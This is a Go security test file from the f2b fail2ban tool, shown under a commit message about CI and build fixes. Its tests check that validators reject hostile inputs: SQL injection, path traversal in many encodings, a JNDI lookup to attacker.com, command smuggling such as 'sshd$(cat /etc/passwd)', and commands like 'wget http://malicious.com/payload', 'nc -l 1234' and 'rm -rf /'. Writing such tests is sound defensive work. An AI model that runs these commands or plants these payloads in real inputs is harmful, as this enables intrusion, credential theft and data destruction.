Files
f2b/main_security_test.go
Ismo Vuorinen 98b53d84b5 fix: repair Renovate config, convert Makefile to go run, update GitHub Actions (#120)
* fix: repair Renovate config and convert Makefile to go run (#117)

- Remove non-existent `github>renovatebot/presets:golang` preset that
  broke Renovate PR creation
- Replace deprecated `fileMatch` with `managerFilePatterns` in
  customManagers
- Rewrite regex to match new Makefile pattern (renovate comment above
  version variable assignment)
- Fix `matchFileNames` glob pattern (`*.mk` -> `**/*.mk`)
- Convert all tool invocations from `go install` + global binary to
  `go run tool@version` for reproducible builds
- Convert npm global tools to `npx --yes` invocations
- Remove `dev-deps` and `check-deps` targets (tools auto-download)
- Add mdformat pre-commit hook with GFM support and config
- Add `fmt-md` Makefile target for manual markdown formatting
- Update local golangci-lint pre-commit hook to use `go run`
- Apply golangci-lint v2.10.1 auto-fixes (fmt.Fprintf optimization)
- Add nolint:gosec annotations for legitimate exec.Command usage
- Exclude .serena/ from mdformat and megalinter
- Add markdown indent_size=unset in .editorconfig for CommonMark compat

* chore(deps): update GitHub Actions to latest versions

- anthropics/claude-code-action: v1.0.34 -> v1.0.64
- actions/setup-go: v6.2.0 -> v6.3.0
- actions/upload-artifact: v6.0.0 -> v7.0.0
- goreleaser/goreleaser-action: v6.4.0 -> v7.0.0
- docker/login-action: v3.6.0 -> v3.7.0
- ivuorinen/actions: v2026.01.21 -> v2026.02.24

* fix: address code review feedback

- Fix issue template YAML frontmatter (replace underscore separators
  with proper --- delimiters); exclude templates from mdformat
- Replace string(rune(n)) with strconv.Itoa(n) in test files to produce
  deterministic numeric directory names instead of Unicode characters
- Remove stale `make dev-deps` reference in README, replace with
  `make dev-setup`
- Extract ban/unban format strings into shared.MetricsFmtBanOperations
  and shared.MetricsFmtUnbanOperations constants
- Replace hardcoded coverage percentages in README with evergreen
  phrasing

* fix: address round 2 code review feedback for PR #120

- Fix corrupted path traversal example in docs/security.md
- Fix Renovate .mk regex to match nested paths (.*\.mk$)
- Update checkmake pre-commit hook to v0.3.2 to match Makefile
- Add sync.WaitGroup to unsynchronized goroutines in security tests
- Fix fmt-md target to use pre-commit run mdformat
- Pin markdownlint-cli2 to v0.21.0 in lint-md target
- Standardize //nolint:gosec to // #nosec annotations for gosec CLI

* fix(ci): install PyYAML dependency for PR lint workflow

The pr-lint workflow uses ivuorinen/actions/pr-lint which internally
calls validate-inputs running a Python script that imports yaml.
Python was set up but PyYAML was never installed, causing
ModuleNotFoundError at runtime.

* fix: address round 3 code review feedback for PR #120

- Wrap Windows-style path traversal example in backtick code span so
  backslashes render literally in docs/security.md
- Add Renovate-managed MARKDOWNLINT_CLI2_VERSION variable in Makefile
  to match the pattern used by all other tool versions
2026-03-01 19:09:17 +02:00

480 lines
13 KiB
Go

package main
import (
"context"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"testing"
"github.com/ivuorinen/f2b/fail2ban"
)
// testIPValidation tests IP address validation security
func testIPValidation(t *testing.T) {
// Test malicious IP patterns
maliciousIPs := []string{
"'; DROP TABLE users; --",
"../../../etc/passwd",
"\x00192.168.1.1",
"192.168.1.1\x00",
"192.168.1.1'; cat /etc/passwd",
"${jndi:ldap://attacker.com/a}",
"<script>alert('xss')</script>",
"192.168.1.999", // Invalid range
"256.256.256.256", // Invalid range
"192.168.1.1/24", // CIDR notation should be rejected
"192.168.1.1:8080", // Port should be rejected
}
for _, maliciousIP := range maliciousIPs {
err := fail2ban.ValidateIP(maliciousIP)
if err == nil {
t.Errorf("ValidateIP should reject malicious input: %s", maliciousIP)
}
}
// Test legitimate IPs
legitimateIPs := []string{
"192.168.1.1",
"10.0.0.1",
"172.16.0.1",
"127.0.0.1",
"2001:db8::1",
"::1",
}
for _, ip := range legitimateIPs {
err := fail2ban.ValidateIP(ip)
if err != nil {
t.Errorf("ValidateIP should accept legitimate IP: %s, error: %v", ip, err)
}
}
}
// testJailValidation tests jail name validation security
func testJailValidation(t *testing.T) {
// Test malicious jail patterns
maliciousJails := []string{
"'; DROP TABLE jails; --",
"../../../etc/passwd",
"\x00sshd",
"sshd\x00",
"sshd'; cat /etc/passwd",
"sshd\n\nmalicious_command",
"sshd\r\nmalicious_command",
"sshd`cat /etc/passwd`",
"sshd$(cat /etc/passwd)",
"sshd;cat /etc/passwd",
"sshd|cat /etc/passwd",
"sshd&cat /etc/passwd",
}
for _, maliciousJail := range maliciousJails {
err := fail2ban.ValidateJail(maliciousJail)
if err == nil {
t.Errorf("ValidateJail should reject malicious input: %s", maliciousJail)
}
}
// Test legitimate jails
legitimateJails := []string{
"sshd",
"nginx",
"apache",
"postfix",
"dovecot",
"sshd-ddos",
"ssh_custom",
}
for _, jail := range legitimateJails {
err := fail2ban.ValidateJail(jail)
if err != nil {
t.Errorf("ValidateJail should accept legitimate jail: %s, error: %v", jail, err)
}
}
}
// testFilterValidation tests filter validation security
func testFilterValidation(t *testing.T) {
// Test malicious filter patterns
maliciousFilters := []string{
"'; DROP TABLE filters; --",
"../../../etc/passwd",
"\x00sshd",
"sshd\x00",
"sshd'; cat /etc/passwd",
"sshd`cat /etc/passwd`",
"sshd$(cat /etc/passwd)",
"sshd;cat /etc/passwd",
"sshd|cat /etc/passwd",
"sshd&cat /etc/passwd",
// Additional command injection patterns
"filter`DANGEROUS_COMMAND`", // backtick execution
"filter$(DANGEROUS_COMMAND)", // command substitution
"filter${USER}", // variable expansion (safe)
"filter;DANGEROUS_RM_COMMAND", // command chaining
"filter|DANGEROUS_COMMAND", // pipe to command
"filter&& DANGEROUS_COMMAND", // logical AND
"filter||DANGEROUS_COMMAND", // logical OR
"filter>DANGEROUS_OUTPUT_FILE", // output redirection
"filter<DANGEROUS_INPUT_FILE", // input redirection
"filter\nDANGEROUS_EXEC_COMMAND", // newline command
"filter\rDANGEROUS_EXEC_COMMAND", // carriage return
"filter\tDANGEROUS_EXEC_COMMAND", // tab character
}
for _, maliciousFilter := range maliciousFilters {
err := fail2ban.ValidateFilter(maliciousFilter)
if err == nil {
t.Errorf("ValidateFilter should reject malicious input: %s", maliciousFilter)
}
}
}
// testCommandValidation tests command validation security
func testCommandValidation(t *testing.T) {
// Test malicious command patterns (using safe placeholders)
maliciousCommands := []string{
"DANGEROUS_RM_COMMAND",
"cat /etc/passwd",
"curl attacker.com",
"wget http://malicious.com/payload",
"nc -l 1234",
"python -c 'DANGEROUS_SYSTEM_CALL'",
"bash -c 'cat /etc/passwd'",
"/bin/sh",
"../../bin/bash",
"fail2ban-client; cat /etc/passwd",
}
for _, maliciousCmd := range maliciousCommands {
err := fail2ban.ValidateCommand(maliciousCmd)
if err == nil {
t.Errorf("ValidateCommand should reject malicious command: %s", maliciousCmd)
}
}
// Test legitimate commands
legitimateCommands := []string{
"fail2ban-client",
"fail2ban-regex",
"fail2ban-server",
}
for _, cmd := range legitimateCommands {
err := fail2ban.ValidateCommand(cmd)
if err != nil {
t.Errorf("ValidateCommand should accept legitimate command: %s, error: %v", cmd, err)
}
}
}
// TestSecurityAudit_InputValidation performs comprehensive input validation security testing
func TestSecurityAudit_InputValidation(t *testing.T) {
t.Run("IPValidation", testIPValidation)
t.Run("JailValidation", testJailValidation)
t.Run("FilterValidation", testFilterValidation)
t.Run("CommandValidation", testCommandValidation)
}
// TestSecurityAudit_PathSecurity performs comprehensive path security testing
func TestSecurityAudit_PathSecurity(t *testing.T) {
tempDir := t.TempDir()
originalLogDir := fail2ban.GetLogDir()
fail2ban.SetLogDir(tempDir)
defer fail2ban.SetLogDir(originalLogDir)
t.Run("PathTraversalProtection", func(t *testing.T) {
// Test sophisticated path traversal attempts
pathTraversalAttempts := []string{
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"%2e%2e\\%2e%2e\\%2e%2e\\etc\\passwd",
"..%252f..%252f..%252fetc%252fpasswd",
"..%c0%af..%c0%af..%c0%afetc%c0%afpasswd",
"..%u002f..%u002f..%u002fetc%u002fpasswd",
"..\\u002e\\u002e/..\\u002e\\u002e/etc/passwd",
"...//...//etc/passwd",
"..;/..;/etc/passwd",
"..%00/etc/passwd",
"logs/../../../etc/passwd",
"logs\\..\\..\\..\\etc\\passwd",
"logs%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
}
for _, maliciousPath := range pathTraversalAttempts {
// Test with validateLogPath (used internally)
testFile := filepath.Join(tempDir, "test.log")
_ = os.WriteFile(testFile, []byte("test"), 0600)
_, _ = fail2ban.GetLogLines(context.Background(), "all", "all")
// The actual path validation happens inside GetLogLines
// We're testing that no traversal attempts succeed
// Also test direct path validation if we had access to it
t.Logf("Testing path traversal protection for: %s", maliciousPath)
}
})
t.Run("FileOperationSecurity", func(t *testing.T) {
// Test that file operations are secure
testCases := []struct {
name string
testFunc func() error
}{
{
name: "LogFileReading",
testFunc: func() error {
// Create legitimate log file
logFile := filepath.Join(tempDir, "fail2ban.log")
content := "2024-01-01 12:00:00,123 fail2ban.actions [1234]: NOTICE [sshd] Ban 192.168.1.100\n"
if err := os.WriteFile(logFile, []byte(content), 0600); err != nil {
return err
}
_, err := fail2ban.GetLogLines(context.Background(), "sshd", "192.168.1.100")
return err
},
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
err := tc.testFunc()
if err != nil {
t.Errorf("Secure operation failed: %v", err)
}
})
}
})
}
// TestSecurityAudit_ErrorMessages audits error messages for information leakage
func TestSecurityAudit_ErrorMessages(t *testing.T) {
t.Run("NoSensitiveInfoLeakage", func(t *testing.T) {
// Test that error messages don't leak sensitive information
testCases := []struct {
name string
testFunc func() (string, error)
}{
{
name: "InvalidIPError",
testFunc: func() (string, error) {
err := fail2ban.ValidateIP("'; cat /etc/passwd")
if err != nil {
return err.Error(), err
}
return "", nil
},
},
{
name: "InvalidJailError",
testFunc: func() (string, error) {
err := fail2ban.ValidateJail("'; cat /etc/passwd")
if err != nil {
return err.Error(), err
}
return "", nil
},
},
{
name: "InvalidCommandError",
testFunc: func() (string, error) {
err := fail2ban.ValidateCommand("rm -rf /")
if err != nil {
return err.Error(), err
}
return "", nil
},
},
}
sensitivePatterns := []string{
"/etc/passwd",
"/etc/shadow",
"root:",
"admin:",
"password",
"secret",
"key",
"token",
"$HOME",
"~",
"'; cat",
"DROP TABLE",
"rm -rf",
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
errorMsg, err := tc.testFunc()
if err == nil {
t.Skip("No error returned")
}
// Check that error message doesn't contain sensitive information
lowerErrorMsg := strings.ToLower(errorMsg)
for _, pattern := range sensitivePatterns {
if strings.Contains(lowerErrorMsg, strings.ToLower(pattern)) {
t.Errorf("Error message contains sensitive pattern '%s': %s", pattern, errorMsg)
}
}
// Check that error message is not too verbose
if len(errorMsg) > 200 {
t.Errorf("Error message is too verbose (>200 chars): %s", errorMsg)
}
})
}
})
}
// TestSecurityAudit_PrivilegeEscalation tests for privilege escalation vulnerabilities
func TestSecurityAudit_PrivilegeEscalation(t *testing.T) {
t.Run("SudoValidation", func(t *testing.T) {
// Test with unprivileged user
_, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, false)
defer cleanup()
// Get the mock runner set up by the environment
mockRunner := fail2ban.GetRunner().(*fail2ban.MockRunner)
// Test that sudo-requiring operations are properly gated
testCases := []string{
"fail2ban-client status",
"fail2ban-client get sshd banip",
"fail2ban-client set sshd banip 192.168.1.1",
}
for _, cmd := range testCases {
parts := strings.Fields(cmd)
_, err := mockRunner.CombinedOutputWithSudo(parts[0], parts[1:]...)
// Should not execute or should handle gracefully
t.Logf("Sudo command handling for %s: %v", cmd, err)
}
})
t.Run("RootPrivilegeDetection", func(t *testing.T) {
// Test with root privileges
_, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, true)
defer cleanup()
checker := fail2ban.GetSudoChecker()
if !checker.HasSudoPrivileges() {
t.Error("Mock sudo checker should report having privileges")
}
})
}
// TestSecurityAudit_ConcurrentSafety tests for concurrent safety vulnerabilities
func TestSecurityAudit_ConcurrentSafety(t *testing.T) {
t.Run("GlobalStateRaceConditions", func(_ *testing.T) {
// Test that global state modifications are safe
originalLogDir := fail2ban.GetLogDir()
defer fail2ban.SetLogDir(originalLogDir)
// Multiple goroutines modifying global state should not cause races
// This is tested by running with -race flag in CI
var wg sync.WaitGroup
for i := range 10 {
wg.Go(func() {
fail2ban.SetLogDir("/tmp/test-" + strconv.Itoa(i))
fail2ban.GetLogDir()
})
}
wg.Wait()
})
t.Run("CacheStatisticsSafety", func(_ *testing.T) {
processor := fail2ban.NewOptimizedLogProcessor()
// Multiple goroutines accessing cache statistics should be safe
var wg sync.WaitGroup
for range 10 {
wg.Go(func() {
processor.GetCacheStats()
processor.ClearCaches()
})
}
wg.Wait()
})
}
// testSecurityChainValidation tests the complete security validation chain
func testSecurityChainValidation(t *testing.T, jail, ip string, shouldPass, testJail, testIP bool) {
t.Helper()
// Validate jail if we should test it
if testJail {
err := fail2ban.ValidateJail(jail)
if shouldPass && err != nil {
t.Errorf("Legitimate jail should pass: %v", err)
}
if !shouldPass && err == nil {
t.Errorf("Malicious jail should be rejected")
}
}
// Validate IP if we should test it
if testIP {
err := fail2ban.ValidateIP(ip)
if shouldPass && err != nil {
t.Errorf("Legitimate IP should pass: %v", err)
}
if !shouldPass && err == nil {
t.Errorf("Malicious IP should be rejected")
}
}
// Test end-to-end log reading (only for legitimate cases)
if shouldPass {
_, err := fail2ban.GetLogLines(context.Background(), jail, ip)
if err != nil {
t.Errorf("Legitimate log reading should succeed: %v", err)
}
}
}
// TestSecurityAudit_Integration performs integration-level security testing
func TestSecurityAudit_Integration(t *testing.T) {
tempDir := t.TempDir()
originalLogDir := fail2ban.GetLogDir()
fail2ban.SetLogDir(tempDir)
defer fail2ban.SetLogDir(originalLogDir)
t.Run("EndToEndSecurityChain", func(t *testing.T) {
// Create test log file
logFile := filepath.Join(tempDir, "fail2ban.log")
content := "2024-01-01 12:00:00,123 fail2ban.actions [1234]: NOTICE [sshd] Ban 192.168.1.100\n"
err := os.WriteFile(logFile, []byte(content), 0600)
if err != nil {
t.Fatalf("Failed to create test log file: %v", err)
}
// Test complete security chain: input validation -> path validation -> file access
testCases := []struct {
name string
jail string
ip string
shouldPass bool
testJail bool
testIP bool
}{
{"Legitimate", "sshd", "192.168.1.100", true, true, true},
{"MaliciousJail", "sshd'; cat /etc/passwd", "192.168.1.100", false, true, false},
{"MaliciousIP", "sshd", "'; cat /etc/passwd", false, false, true},
{"PathTraversal", "../../../etc/passwd", "192.168.1.100", false, true, false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
testSecurityChainValidation(t, tc.jail, tc.ip, tc.shouldPass, tc.testJail, tc.testIP)
})
}
})
}